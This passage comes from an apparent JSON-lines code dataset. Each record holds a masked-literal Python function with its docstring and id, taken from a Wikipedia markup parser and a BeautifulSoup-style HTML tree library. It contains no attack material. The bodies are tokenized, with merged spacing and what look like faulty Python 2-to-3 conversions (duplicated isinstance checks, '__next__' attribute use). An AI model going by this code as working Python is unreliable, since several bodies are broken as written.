chunk):<EOL><INDENT>paragraph.main = [link.strip(\"<STR_LIT>\") for link in chunk.split(\"<STR_LIT:|>\")[<NUM_LIT:1>:]]<EOL>paragraph.main = [re.sub(re.compile(\"<STR_LIT>\", re.I), \"<STR_LIT>\", link) <EOL>for link in paragraph.main]<EOL><DEDENT>elif re.search(re.compile(\"<STR_LIT>\", re.I), chunk):<EOL><INDENT>paragraph.related = [link.strip(\"<STR_LIT>\") for link in chunk.split(\"<STR_LIT:|>\")[<NUM_LIT:1>:]]<EOL><DEDENT>else:<EOL><INDENT>paragraph_data += chunk +\"<STR_LIT:\\n>\"<EOL><DEDENT><DEDENT>if paragraph.title.lower() in refsor (paragraph.parent and paragraph.parent.title.lower() in refs):<EOL><INDENT>self.parse_paragraph_references(paragraph_data)<EOL><DEDENT>paragraph.extend(self.parse_paragraph(paragraph_data))<EOL>paragraphs.append(paragraph)<EOL>paragraphs_exclude = []<EOL>for paragraph in paragraphs:<EOL><INDENT>if paragraph.title.lower() not in excludeand not (paragraph.parent and paragraph.parent.title.lower() in exclude):<EOL><INDENT>paragraphs_exclude.append(paragraph)<EOL><DEDENT><DEDENT>if len(paragraphs_exclude) == <NUM_LIT:1> andlen(paragraphs_exclude[<NUM_LIT:0>]) == <NUM_LIT:0>:<EOL><INDENT>return []<EOL><DEDENT>return paragraphs_exclude<EOL>", "docstring": "Returns a list of paragraphs in the markup.\n\n        A paragraph has a title and multiple lines of plain text.\n        A paragraph might have parent and child paragraphs,\n        denoting subtitles or bigger chapters.\n\n        A paragraph might have links to additional articles.\n\n        Formats numbered lists by replacing # by 1.\n        Formats bulleted sublists like ** or *** with indentation.", "id": "f11594:c8:m18"}
{"signature": "def parse_table_row(self, markup, row):", "body": "if row == None:<EOL><INDENT>row = WikipediaTableRow()<EOL><DEDENT>markup = markup.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>for cell in markup.lstrip(\"<STR_LIT>\").split(\"<STR_LIT>\"):<EOL><INDENT>i = cell.find(\"<STR_LIT:|>\")<EOL>j = cell.find(\"<STR_LIT>\")<EOL>if i><NUM_LIT:0> and (j<<NUM_LIT:0> or i<j):<EOL><INDENT>data = self.plain(cell[i+<NUM_LIT:1>:])<EOL>properties = cell[:i].strip()<EOL><DEDENT>else:<EOL><INDENT>data = self.plain(cell)<EOL>properties = u\"<STR_LIT>\"<EOL><DEDENT>cell = WikipediaTableCell(data)<EOL>cell.properties = properties<EOL>row.append(cell)<EOL><DEDENT>return row<EOL>", "docstring": "Parses a row of cells in a Wikipedia table.\n\n        Cells in the row are separated by \"||\".\n        A \"!\" indicates a row of heading columns.\n        Each cell can contain properties before a \"|\",\n        # e.g. align=\"right\" | Cell 2 (right aligned).", "id": "f11594:c8:m19"}
{"signature": "def connect_table(self, table, chunk, markup):", "body": "k = markup.find(chunk)<EOL>i = markup.rfind(\"<STR_LIT>\", <NUM_LIT:0>, k)<EOL>j = markup.find(\"<STR_LIT:\\n>\", i+<NUM_LIT:1>)<EOL>paragraph_title = markup[i:j].strip().strip(\"<STR_LIT>\")<EOL>for paragraph in self.paragraphs:<EOL><INDENT>if paragraph.title == paragraph_title:<EOL><INDENT>paragraph.tables.append(table)<EOL>table.paragraph = paragraph<EOL><DEDENT><DEDENT>", "docstring": "Creates a link from the table to paragraph and vice versa.\n\n        Finds the first heading above the table in the markup.\n        This is the title of the paragraph the table belongs to.", "id": "f11594:c8:m20"}
{"signature": "def parse_tables(self, markup):", "body": "tables = []<EOL>m = re.findall(self.re[\"<STR_LIT>\"], markup)<EOL>for chunk in m:<EOL><INDENT>table = WikipediaTable()<EOL>table.properties = chunk.split(\"<STR_LIT:\\n>\")[<NUM_LIT:0>].strip(\"<STR_LIT>\").strip()<EOL>self.connect_table(table, chunk, markup)<EOL>row = None<EOL>for chunk in chunk.split(\"<STR_LIT:\\n>\"):<EOL><INDENT>chunk = chunk.strip()<EOL>if chunk.startswith(\"<STR_LIT>\"):<EOL><INDENT>title = self.plain(chunk.strip(\"<STR_LIT>\"))<EOL>table.title = title<EOL><DEDENT>elif chunk.startswith(\"<STR_LIT>\"):<EOL><INDENT>if row: <EOL><INDENT>row.properties = chunk.strip(\"<STR_LIT>\").strip()<EOL>table.append(row)<EOL><DEDENT>row = None<EOL><DEDENT>elif chunk.startswith(\"<STR_LIT>\"):<EOL><INDENT>pass<EOL><DEDENT>elif chunk.startswith(\"<STR_LIT:|>\")or chunk.startswith(\"<STR_LIT:!>\"):<EOL><INDENT>row = self.parse_table_row(chunk, row)<EOL><DEDENT><DEDENT>if row: table.append(row)<EOL>if len(table) > <NUM_LIT:0>:<EOL><INDENT>tables.append(table)<EOL><DEDENT><DEDENT>return tables<EOL>", "docstring": "Returns a list of tables in the markup.\n\n        A Wikipedia table looks like:\n        {| border=\"1\"\n        |-\n        |Cell 1 (no modifier - not aligned)\n        |-\n        |align=\"right\" |Cell 2 (right aligned)\n        |-\n        |}", "id": "f11594:c8:m21"}
{"signature": "def parse_references(self, markup):", "body": "references = []<EOL>m = re.findall(self.re[\"<STR_LIT>\"], markup)<EOL>for reference in m:<EOL><INDENT>reference = re.sub(\"<STR_LIT>\", \"<STR_LIT>\", reference)<EOL>if not reference.strip().startswith(\"<STR_LIT>\") andnot re.search(\"<STR_LIT>\", reference):<EOL><INDENT>r = WikipediaReference()<EOL>r.note = self.plain(re.sub(\"<STR_LIT>\", \"<STR_LIT>\", reference))<EOL>if r.note != \"<STR_LIT>\":<EOL><INDENT>references.append(r)<EOL>p = \"<STR_LIT:U+0020>\"+self.ref+\"<STR_LIT:(>\"+str(len(references))+\"<STR_LIT:)>\"<EOL>markup = markup.replace(reference, p, <NUM_LIT:1>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>m = re.findall(self.re[\"<STR_LIT>\"], markup)<EOL>for citation in m:<EOL><INDENT>c = citation.replace(\"<STR_LIT:\\n>\", \"<STR_LIT>\")<EOL>r = WikipediaReference()<EOL>for key in r.__dict__.keys():<EOL><INDENT>value = re.search(\"<STR_LIT>\"+key+\"<STR_LIT>\", c)<EOL>if value:<EOL><INDENT>value = value.group(<NUM_LIT:1>)<EOL>value = value.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>value = value.strip().strip(\"<STR_LIT>\")<EOL>value = self.plain(value)<EOL>setattr(r, key, value)<EOL><DEDENT><DEDENT>if r.first != \"<STR_LIT>\" and r.last != \"<STR_LIT>\":<EOL><INDENT>r.author = r.first + \"<STR_LIT:U+0020>\" + r.last<EOL><DEDENT>references.append(r)<EOL>p = \"<STR_LIT:U+0020>\"+self.ref+\"<STR_LIT:(>\"+str(len(references))+\"<STR_LIT:)>\"<EOL>markup = markup.replace(citation, p, <NUM_LIT:1>)<EOL><DEDENT>m = re.findall(self.re[\"<STR_LIT:url>\"], markup)<EOL>for url in m:<EOL><INDENT>r = WikipediaReference()<EOL>i = url.find(\"<STR_LIT:U+0020>\")<EOL>if i > <NUM_LIT:0>:<EOL><INDENT>r.url = url[:i].strip()<EOL>r.note = self.plain(url[i:])<EOL><DEDENT>else:<EOL><INDENT>r.url = url.strip()<EOL><DEDENT>references.append(r)<EOL>p = r.note+\"<STR_LIT:U+0020>\"+self.ref+\"<STR_LIT:(>\"+str(len(references))+\"<STR_LIT:)>\"<EOL>markup = markup.replace(\"<STR_LIT:[>\"+url+\"<STR_LIT:]>\", p, <NUM_LIT:1>)<EOL><DEDENT>sorted = []<EOL>m = re.findall(self.ref+\"<STR_LIT>\", markup)<EOL>for i in m:<EOL><INDENT>sorted.append(references[int(i)-<NUM_LIT:1>])<EOL>markup = markup.replace(<EOL>self.ref+\"<STR_LIT:(>\"+i+\"<STR_LIT:)>\", <EOL>self.ref+\"<STR_LIT>\"+str(len(sorted))+\"<STR_LIT:)>\"<EOL>)<EOL><DEDENT>markup = markup.replace(self.ref+\"<STR_LIT>\", self.ref)<EOL>for r in references:<EOL><INDENT>if r not in sorted:<EOL><INDENT>sorted.append(r)<EOL><DEDENT><DEDENT>references = sorted<EOL>return references, markup.strip()<EOL>", "docstring": "Returns a list of references found in the markup.\n\n        References appear inline as <ref> footnotes, \n        http:// external links, or {{cite}} citations.\n        We replace it with (1)-style footnotes.\n        Additional references data is gathered in\n        parse_paragraph_references() when we parse paragraphs.\n\n        References can also appear in image descriptions,\n        tables and taxoboxes, so they might not always pop up in a paragraph.\n\n        The plain() method finally replaces (1) by [1].", "id": "f11594:c8:m22"}
{"signature": "def parse_categories(self, markup):", "body": "categories = []<EOL>m = re.findall(self.re[\"<STR_LIT>\"], markup)<EOL>for category in m:<EOL><INDENT>category = category.split(\"<STR_LIT:|>\")<EOL>page = category[<NUM_LIT:0>].strip()<EOL>display = u\"<STR_LIT>\"<EOL>if len(category) > <NUM_LIT:1>: <EOL><INDENT>display = category[<NUM_LIT:1>].strip()<EOL><DEDENT>if not page in categories:<EOL><INDENT>categories.append(page)<EOL><DEDENT><DEDENT>return categories<EOL>", "docstring": "Returns a list of categories the page belongs to.\n\n        # A Wikipedia category link looks like:\n        # [[Category:Computing]]\n        # This indicates the page is included in the given category.\n        # If \"Category\" is preceded by \":\" this indicates a link to a category.", "id": "f11594:c8:m23"}
{"signature": "def parse_translations(self, markup):", "body": "global languages<EOL>translations = {}<EOL>m = re.findall(self.re[\"<STR_LIT>\"], markup)<EOL>for language, translation in m:<EOL><INDENT>if language in languages:<EOL><INDENT>translations[language] = translation<EOL><DEDENT><DEDENT>return translations<EOL>", "docstring": "Returns a dictionary of translations for the page title.\n\n        A Wikipedia language link looks like: [[af:Rekenaar]].\n        The parser will also fetch links like \"user:\" and \"media:\"\n        but these are stripped against the dictionary of\n        Wikipedia languages.\n\n        You can get a translated page by searching Wikipedia\n        with the appropriate language code and supplying\n        the translated title as query.", "id": "f11594:c8:m24"}
{"signature": "def parse_disambiguation(self, markup):", "body": "m = re.search(self.re[\"<STR_LIT>\"], markup)<EOL>if m:<EOL><INDENT>return self.parse_links(m.group(<NUM_LIT:1>))<EOL><DEDENT>else:<EOL><INDENT>return []<EOL><DEDENT>", "docstring": "Gets the Wikipedia disambiguation page for this article.\n\n        A Wikipedia disambiguation link refers to other pages\n        with the same title but of smaller significance,\n        e.g. {{dablink|For the IEEE magazine see [[Computer (magazine)]].}}", "id": "f11594:c8:m25"}
{"signature": "def parse_important(self, markup):", "body": "important = []<EOL>table_titles = [table.title for table in self.tables]<EOL>m = re.findall(self.re[\"<STR_LIT>\"], markup)<EOL>for bold in m:<EOL><INDENT>bold = self.plain(bold)<EOL>if not bold in table_titles:<EOL><INDENT>important.append(bold.lower())<EOL><DEDENT><DEDENT>return important<EOL>", "docstring": "Returns a list of words that appear in bold in the article.\n\n        Things like table titles are not added to the list,\n        these are probably bold because it makes the layout nice,\n        not necessarily because they are important.", "id": "f11594:c8:m26"}
{"signature": "def __init__(self, q, language=\"<STR_LIT>\", light=False, wait=<NUM_LIT:10>, asynchronous=False, cached=True,<EOL>case_sensitive=False, full_strip=True):", "body": "self._light = light<EOL>self._full_strip = full_strip<EOL>if cached: <EOL><INDENT>cache = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>cache = None<EOL><DEDENT>if not case_sensitive:<EOL><INDENT>q = str(q.lower())<EOL><DEDENT>q = q.replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:_>\")<EOL>url = self._api_request(q, language)<EOL>URLAccumulator.__init__(self, url, wait, asynchronous, cache, type=\"<STR_LIT>\", throttle=<NUM_LIT:2>)<EOL>", "docstring": "A download manager for Wikipedia pages.\n\n        WikipediaSearch is a combination of\n        URLAccumulator that handles asynchronous and cached web downloads and\n        WikipediaPage that parses XML retrieved from the Wikipedia API.\n\n        Retrieves the latest revision.\n        Redirects are handled by the Wikipedia server.", "id": "f11594:c9:m1"}
{"signature": "def isList(l):", "body": "return hasattr(l, '<STR_LIT>')or (type(l) in (list, tuple))<EOL>", "docstring": "Convenience method that works with all 2.x versions of Python\n    to determine whether or not something is listlike.", "id": "f11596:m0"}
{"signature": "def isString(s):", "body": "try:<EOL><INDENT>return isinstance(s, str) or isinstance(s, str)<EOL><DEDENT>except NameError:<EOL><INDENT>return isinstance(s, str)<EOL><DEDENT>", "docstring": "Convenience method that works with all 2.x versions of Python\n    to determine whether or not something is stringlike.", "id": "f11596:m1"}
{"signature": "def buildTagMap(default, *args):", "body": "built = {}<EOL>for portion in args:<EOL><INDENT>if hasattr(portion, '<STR_LIT>'):<EOL><INDENT>for k,v in list(portion.items()):<EOL><INDENT>built[k] = v<EOL><DEDENT><DEDENT>elif isList(portion):<EOL><INDENT>for k in portion:<EOL><INDENT>built[k] = default<EOL><DEDENT><DEDENT>else:<EOL><INDENT>built[portion] = default<EOL><DEDENT><DEDENT>return built<EOL>", "docstring": "Turns a list of maps, lists, or scalars into a single map.\n    Used to build the SELF_CLOSING_TAGS, NESTABLE_TAGS, and\n    NESTING_RESET_TAGS maps out of lists and partial maps.", "id": "f11596:m2"}
{"signature": "def setup(self, parent=None, previous=None):", "body": "self.parent = parent<EOL>self.previous = previous<EOL>self.next = None<EOL>self.previousSibling = None<EOL>self.nextSibling = None<EOL>if self.parent and self.parent.contents:<EOL><INDENT>self.previousSibling = self.parent.contents[-<NUM_LIT:1>]<EOL>self.previousSibling.nextSibling = self<EOL><DEDENT>", "docstring": "Sets up the initial relations between this element and\n        other elements.", "id": "f11596:c0:m0"}
{"signature": "def extract(self):", "body": "if self.parent:<EOL><INDENT>try:<EOL><INDENT>self.parent.contents.remove(self)<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>lastChild = self._lastRecursiveChild()<EOL>nextElement = lastChild.__next__<EOL>if self.previous:<EOL><INDENT>self.previous.next = nextElement<EOL><DEDENT>if nextElement:<EOL><INDENT>nextElement.previous = self.previous<EOL><DEDENT>self.previous = None<EOL>lastChild.next = None<EOL>self.parent = None<EOL>if self.previousSibling:<EOL><INDENT>self.previousSibling.nextSibling = self.nextSibling<EOL><DEDENT>if self.nextSibling:<EOL><INDENT>self.nextSibling.previousSibling = self.previousSibling<EOL><DEDENT>self.previousSibling = self.nextSibling = None<EOL>return self<EOL>", "docstring": "Destructively rips this element out of the tree.", "id": "f11596:c0:m2"}
{"signature": "def _lastRecursiveChild(self):", "body": "lastChild = self<EOL>while hasattr(lastChild, '<STR_LIT>') and lastChild.contents:<EOL><INDENT>lastChild = lastChild.contents[-<NUM_LIT:1>]<EOL><DEDENT>return lastChild<EOL>", "docstring": "Finds the last element beneath this object to be parsed.", "id": "f11596:c0:m3"}
{"signature": "def append(self, tag):", "body": "self.insert(len(self.contents), tag)<EOL>", "docstring": "Appends the given tag to the contents of this tag.", "id": "f11596:c0:m5"}
{"signature": "def findNext(self, name=None, attrs={}, text=None, **kwargs):", "body": "return self._findOne(self.findAllNext, name, attrs, text, **kwargs)<EOL>", "docstring": "Returns the first item that matches the given criteria and\n        appears after this Tag in the document.", "id": "f11596:c0:m6"}
{"signature": "def findAllNext(self, name=None, attrs={}, text=None, limit=None,<EOL>**kwargs):", "body": "return self._findAll(name, attrs, text, limit, self.nextGenerator,<EOL>**kwargs)<EOL>", "docstring": "Returns all items that match the given criteria and appear\n        after this Tag in the document.", "id": "f11596:c0:m7"}
{"signature": "def findNextSibling(self, name=None, attrs={}, text=None, **kwargs):", "body": "return self._findOne(self.findNextSiblings, name, attrs, text,<EOL>**kwargs)<EOL>", "docstring": "Returns the closest sibling to this Tag that matches the\n        given criteria and appears after this Tag in the document.", "id": "f11596:c0:m8"}
{"signature": "def findNextSiblings(self, name=None, attrs={}, text=None, limit=None,<EOL>**kwargs):", "body": "return self._findAll(name, attrs, text, limit,<EOL>self.nextSiblingGenerator, **kwargs)<EOL>", "docstring": "Returns the siblings of this Tag that match the given\n        criteria and appear after this Tag in the document.", "id": "f11596:c0:m9"}
{"signature": "def findPrevious(self, name=None, attrs={}, text=None, **kwargs):", "body": "return self._findOne(self.findAllPrevious, name, attrs, text, **kwargs)<EOL>", "docstring": "Returns the first item that matches the given criteria and\n        appears before this Tag in the document.", "id": "f11596:c0:m10"}
{"signature": "def findAllPrevious(self, name=None, attrs={}, text=None, limit=None,<EOL>**kwargs):", "body": "return self._findAll(name, attrs, text, limit, self.previousGenerator,<EOL>**kwargs)<EOL>", "docstring": "Returns all items that match the given criteria and appear\n        before this Tag in the document.", "id": "f11596:c0:m11"}
{"signature": "def findPreviousSibling(self, name=None, attrs={}, text=None, **kwargs):", "body": "return self._findOne(self.findPreviousSiblings, name, attrs, text,<EOL>**kwargs)<EOL>", "docstring": "Returns the closest sibling to this Tag that matches the\n        given criteria and appears before this Tag in the document.", "id": "f11596:c0:m12"}
{"signature": "def findPreviousSiblings(self, name=None, attrs={}, text=None,<EOL>limit=None, **kwargs):", "body": "return self._findAll(name, attrs, text, limit,<EOL>self.previousSiblingGenerator, **kwargs)<EOL>", "docstring": "Returns the siblings of this Tag that match the given\n        criteria and appear before this Tag in the document.", "id": "f11596:c0:m13"}
{"signature": "def findParent(self, name=None, attrs={}, **kwargs):", "body": "<EOL>r = None<EOL>l = self.findParents(name, attrs, <NUM_LIT:1>)<EOL>if l:<EOL><INDENT>r = l[<NUM_LIT:0>]<EOL><DEDENT>return r<EOL>", "docstring": "Returns the closest parent of this Tag that matches the given\n        criteria.", "id": "f11596:c0:m14"}
{"signature": "def findParents(self, name=None, attrs={}, limit=None, **kwargs):", "body": "return self._findAll(name, attrs, None, limit, self.parentGenerator,<EOL>**kwargs)<EOL>", "docstring": "Returns the parents of this Tag that match the given\n        criteria.", "id": "f11596:c0:m15"}
{"signature": "def _findAll(self, name, attrs, text, limit, generator, **kwargs):", "body": "if isinstance(name, SoupStrainer):<EOL><INDENT>strainer = name<EOL><DEDENT>else:<EOL><INDENT>strainer = SoupStrainer(name, attrs, text, **kwargs)<EOL><DEDENT>results = ResultSet(strainer)<EOL>g = generator()<EOL>while True:<EOL><INDENT>try:<EOL><INDENT>i = next(g)<EOL><DEDENT>except StopIteration:<EOL><INDENT>break<EOL><DEDENT>if i:<EOL><INDENT>found = strainer.search(i)<EOL>if found:<EOL><INDENT>results.append(found)<EOL>if limit and len(results) >= limit:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return results<EOL>", "docstring": "Iterates over a generator looking for things that match.", "id": "f11596:c0:m17"}
{"signature": "def toEncoding(self, s, encoding=None):", "body": "if isinstance(s, str):<EOL><INDENT>if encoding:<EOL><INDENT>s = s.encode(encoding)<EOL><DEDENT><DEDENT>elif isinstance(s, str):<EOL><INDENT>if encoding:<EOL><INDENT>s = s.encode(encoding)<EOL><DEDENT>else:<EOL><INDENT>s = str(s)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if encoding:<EOL><INDENT>s  = self.toEncoding(str(s), encoding)<EOL><DEDENT>else:<EOL><INDENT>s = str(s)<EOL><DEDENT><DEDENT>return s<EOL>", "docstring": "Encodes an object to a string in some encoding, or to Unicode.\n        .", "id": "f11596:c0:m24"}
{"signature": "def __new__(cls, value):", "body": "if isinstance(value, str):<EOL><INDENT>return str.__new__(cls, value)<EOL><DEDENT>return str.__new__(cls, value, DEFAULT_OUTPUT_ENCODING)<EOL>", "docstring": "Create a new NavigableString.\n\n        When unpickling a NavigableString, this method is called with\n        the string in DEFAULT_OUTPUT_ENCODING. That encoding needs to be\n        passed in to the superclass's __new__ or the superclass won't know\n        how to handle non-ASCII characters.", "id": "f11596:c1:m0"}
{"signature": "def __getattr__(self, attr):", "body": "if attr == '<STR_LIT:string>':<EOL><INDENT>return self<EOL><DEDENT>else:<EOL><INDENT>raise AttributeError(\"<STR_LIT>\" % (self.__class__.__name__, attr))<EOL><DEDENT>", "docstring": "text.string gives you text. This is for backwards\n        compatibility for Navigable*String, but for CData* it lets you\n        get the string without the CData wrapper.", "id": "f11596:c1:m2"}
{"signature": "def _invert(h):", "body": "i = {}<EOL>for k,v in list(h.items()):<EOL><INDENT>i[v] = k<EOL><DEDENT>return i<EOL>", "docstring": "Cheap function to invert a hash.", "id": "f11596:c6:m0"}
{"signature": "def _convertEntities(self, match):", "body": "x = match.group(<NUM_LIT:1>)<EOL>if self.convertHTMLEntities and x in name2codepoint:<EOL><INDENT>return chr(name2codepoint[x])<EOL><DEDENT>elif x in self.XML_ENTITIES_TO_SPECIAL_CHARS:<EOL><INDENT>if self.convertXMLEntities:<EOL><INDENT>return self.XML_ENTITIES_TO_SPECIAL_CHARS[x]<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>' % x<EOL><DEDENT><DEDENT>elif len(x) > <NUM_LIT:0> and x[<NUM_LIT:0>] == '<STR_LIT:#>':<EOL><INDENT>if len(x) > <NUM_LIT:1> and x[<NUM_LIT:1>] == '<STR_LIT:x>':<EOL><INDENT>return chr(int(x[<NUM_LIT:2>:], <NUM_LIT:16>))<EOL><DEDENT>else:<EOL><INDENT>return chr(int(x[<NUM_LIT:1>:]))<EOL><DEDENT><DEDENT>elif self.escapeUnrecognizedEntities:<EOL><INDENT>return '<STR_LIT>' % x<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>' % x<EOL><DEDENT>", "docstring": "Used in a call to re.sub to replace HTML, XML, and numeric\n        entities with the appropriate Unicode characters. If HTML\n        entities are being converted, any unrecognized entities are\n        escaped.", "id": "f11596:c6:m1"}
{"signature": "def __init__(self, parser, name, attrs=None, parent=None,<EOL>previous=None):", "body": "<EOL>self.parserClass = parser.__class__<EOL>self.isSelfClosing = parser.isSelfClosingTag(name)<EOL>self.name = name<EOL>if attrs == None:<EOL><INDENT>attrs = []<EOL><DEDENT>self.attrs = attrs<EOL>self.contents = []<EOL>self.setup(parent, previous)<EOL>self.hidden = False<EOL>self.containsSubstitutions = False<EOL>self.convertHTMLEntities = parser.convertHTMLEntities<EOL>self.convertXMLEntities = parser.convertXMLEntities<EOL>self.escapeUnrecognizedEntities = parser.escapeUnrecognizedEntities<EOL>convert = lambda k_val: (k_val[<NUM_LIT:0>],<EOL>re.sub(\"<STR_LIT>\",<EOL>self._convertEntities,<EOL>k_val[<NUM_LIT:1>]))<EOL>self.attrs = list(map(convert, self.attrs))<EOL>", "docstring": "Basic constructor.", "id": "f11596:c6:m2"}
{"signature": "def get(self, key, default=None):", "body": "return self._getAttrMap().get(key, default)<EOL>", "docstring": "Returns the value of the 'key' attribute for the tag, or\n        the value given for 'default' if it doesn't have that\n        attribute.", "id": "f11596:c6:m3"}
{"signature": "def __getitem__(self, key):", "body": "return self._getAttrMap()[key]<EOL>", "docstring": "tag[key] returns the value of the 'key' attribute for the tag,\n        and throws an exception if it's not there.", "id": "f11596:c6:m5"}
{"signature": "def __iter__(self):", "body": "return iter(self.contents)<EOL>", "docstring": "Iterating over a tag iterates over its contents.", "id": "f11596:c6:m6"}
{"signature": "def __len__(self):", "body": "return len(self.contents)<EOL>", "docstring": "The length of a tag is the length of its list of contents.", "id": "f11596:c6:m7"}
{"signature": "def __bool__(self):", "body": "return True<EOL>", "docstring": "A tag is non-None even if it has no contents.", "id": "f11596:c6:m9"}
{"signature": "def __setitem__(self, key, value):", "body": "self._getAttrMap()<EOL>self.attrMap[key] = value<EOL>found = False<EOL>for i in range(<NUM_LIT:0>, len(self.attrs)):<EOL><INDENT>if self.attrs[i][<NUM_LIT:0>] == key:<EOL><INDENT>self.attrs[i] = (key, value)<EOL>found = True<EOL><DEDENT><DEDENT>if not found:<EOL><INDENT>self.attrs.append((key, value))<EOL><DEDENT>self._getAttrMap()[key] = value<EOL>", "docstring": "Setting tag[key] sets the value of the 'key' attribute for the\n        tag.", "id": "f11596:c6:m10"}
{"signature": "def __delitem__(self, key):", "body": "for item in self.attrs:<EOL><INDENT>if item[<NUM_LIT:0>] == key:<EOL><INDENT>self.attrs.remove(item)<EOL><DEDENT>self._getAttrMap()<EOL>if key in self.attrMap:<EOL><INDENT>del self.attrMap[key]<EOL><DEDENT><DEDENT>", "docstring": "Deleting tag[key] deletes all 'key' attributes for the tag.", "id": "f11596:c6:m11"}
{"signature": "def __call__(self, *args, **kwargs):", "body": "return self.findAll(*args, **kwargs)<EOL>", "docstring": "Calling a tag like a function is the same as calling its\n        findAll() method. Eg. tag('a') returns a list of all the A tags\n        found within this tag.", "id": "f11596:c6:m12"}
{"signature": "def __eq__(self, other):", "body": "if not hasattr(other, '<STR_LIT:name>') or not hasattr(other, '<STR_LIT>') or not hasattr(other, '<STR_LIT>') or self.name != other.name or self.attrs != other.attrs or len(self) != len(other):<EOL><INDENT>return False<EOL><DEDENT>for i in range(<NUM_LIT:0>, len(self.contents)):<EOL><INDENT>if self.contents[i] != other.contents[i]:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Returns true iff this tag has the same name, the same attributes,\n        and the same contents (recursively) as the given tag.\n\n        NOTE: right now this will return false if two tags have the\n        same attributes in a different order. Should this be fixed?", "id": "f11596:c6:m14"}
{"signature": "def __ne__(self, other):", "body": "return not self == other<EOL>", "docstring": "Returns true iff this tag is not identical to the other tag,\n        as defined in __eq__.", "id": "f11596:c6:m15"}
{"signature": "def __repr__(self, encoding=DEFAULT_OUTPUT_ENCODING):", "body": "return self.__str__(encoding)<EOL>", "docstring": "Renders this tag as a string.", "id": "f11596:c6:m16"}
{"signature": "def _sub_entity(self, x):", "body": "return \"<STR_LIT:&>\" + self.XML_SPECIAL_CHARS_TO_ENTITIES[x.group(<NUM_LIT:0>)[<NUM_LIT:0>]] + \"<STR_LIT:;>\"<EOL>", "docstring": "Used with a regular expression to substitute the\n        appropriate XML entity for an XML special character.", "id": "f11596:c6:m18"}
{"signature": "def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING,<EOL>prettyPrint=False, indentLevel=<NUM_LIT:0>):", "body": "encodedName = self.toEncoding(self.name, encoding)<EOL>attrs = []<EOL>if self.attrs:<EOL><INDENT>for key, val in self.attrs:<EOL><INDENT>fmt = '<STR_LIT>'<EOL>if isString(val):<EOL><INDENT>if self.containsSubstitutions and '<STR_LIT>' in val:<EOL><INDENT>val = self.substituteEncoding(val, encoding)<EOL><DEDENT>if '<STR_LIT:\">' in val:<EOL><INDENT>fmt = \"<STR_LIT>\"<EOL>if \"<STR_LIT:'>\" in val:<EOL><INDENT>val = val.replace(\"<STR_LIT:'>\", \"<STR_LIT>\")<EOL><DEDENT><DEDENT>val = self.BARE_AMPERSAND_OR_BRACKET.sub(self._sub_entity, val)<EOL><DEDENT>attrs.append(fmt % (self.toEncoding(key, encoding),<EOL>self.toEncoding(val, encoding)))<EOL><DEDENT><DEDENT>close = '<STR_LIT>'<EOL>closeTag = '<STR_LIT>'<EOL>if self.isSelfClosing:<EOL><INDENT>close = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>closeTag = '<STR_LIT>' % encodedName<EOL><DEDENT>indentTag, indentContents = <NUM_LIT:0>, <NUM_LIT:0><EOL>if prettyPrint:<EOL><INDENT>indentTag = indentLevel<EOL>space = ('<STR_LIT:U+0020>' * (indentTag-<NUM_LIT:1>))<EOL>indentContents = indentTag + <NUM_LIT:1><EOL><DEDENT>contents = self.renderContents(encoding, prettyPrint, indentContents)<EOL>if self.hidden:<EOL><INDENT>s = contents<EOL><DEDENT>else:<EOL><INDENT>s = []<EOL>attributeString = '<STR_LIT>'<EOL>if attrs:<EOL><INDENT>attributeString = '<STR_LIT:U+0020>' + '<STR_LIT:U+0020>'.join(attrs)<EOL><DEDENT>if prettyPrint:<EOL><INDENT>s.append(space)<EOL><DEDENT>s.append('<STR_LIT>' % (encodedName, attributeString, close))<EOL>if prettyPrint:<EOL><INDENT>s.append(\"<STR_LIT:\\n>\")<EOL><DEDENT>s.append(contents)<EOL>if prettyPrint and contents and contents[-<NUM_LIT:1>] != \"<STR_LIT:\\n>\":<EOL><INDENT>s.append(\"<STR_LIT:\\n>\")<EOL><DEDENT>if prettyPrint and closeTag:<EOL><INDENT>s.append(space)<EOL><DEDENT>s.append(closeTag)<EOL>if prettyPrint and closeTag and self.nextSibling:<EOL><INDENT>s.append(\"<STR_LIT:\\n>\")<EOL><DEDENT>s = '<STR_LIT>'.join(s)<EOL><DEDENT>return s<EOL>", "docstring": "Returns a string or Unicode representation of this tag and\n        its contents. To get Unicode, pass None for encoding.\n\n        NOTE: since Python's HTML parser consumes whitespace, this\n        method is not certain to reproduce the whitespace present in\n        the original string.", "id": "f11596:c6:m19"}
{"signature": "def decompose(self):", "body": "contents = [i for i in self.contents]<EOL>for i in contents:<EOL><INDENT>if isinstance(i, Tag):<EOL><INDENT>i.decompose()<EOL><DEDENT>else:<EOL><INDENT>i.extract()<EOL><DEDENT><DEDENT>self.extract()<EOL>", "docstring": "Recursively destroys the contents of this tree.", "id": "f11596:c6:m20"}
{"signature": "def renderContents(self, encoding=DEFAULT_OUTPUT_ENCODING,<EOL>prettyPrint=False, indentLevel=<NUM_LIT:0>):", "body": "s=[]<EOL>for c in self:<EOL><INDENT>text = None<EOL>if isinstance(c, NavigableString):<EOL><INDENT>text = c.__str__(encoding)<EOL><DEDENT>elif isinstance(c, Tag):<EOL><INDENT>s.append(c.__str__(encoding, prettyPrint, indentLevel))<EOL><DEDENT>if text and prettyPrint:<EOL><INDENT>text = text.strip()<EOL><DEDENT>if text:<EOL><INDENT>if prettyPrint:<EOL><INDENT>s.append(\"<STR_LIT:U+0020>\" * (indentLevel-<NUM_LIT:1>))<EOL><DEDENT>s.append(text)<EOL>if prettyPrint:<EOL><INDENT>s.append(\"<STR_LIT:\\n>\")<EOL><DEDENT><DEDENT><DEDENT>return '<STR_LIT>'.join(s)<EOL>", "docstring": "Renders the contents of this tag as a string in the given\n        encoding. If encoding is None, returns a Unicode string..", "id": "f11596:c6:m22"}
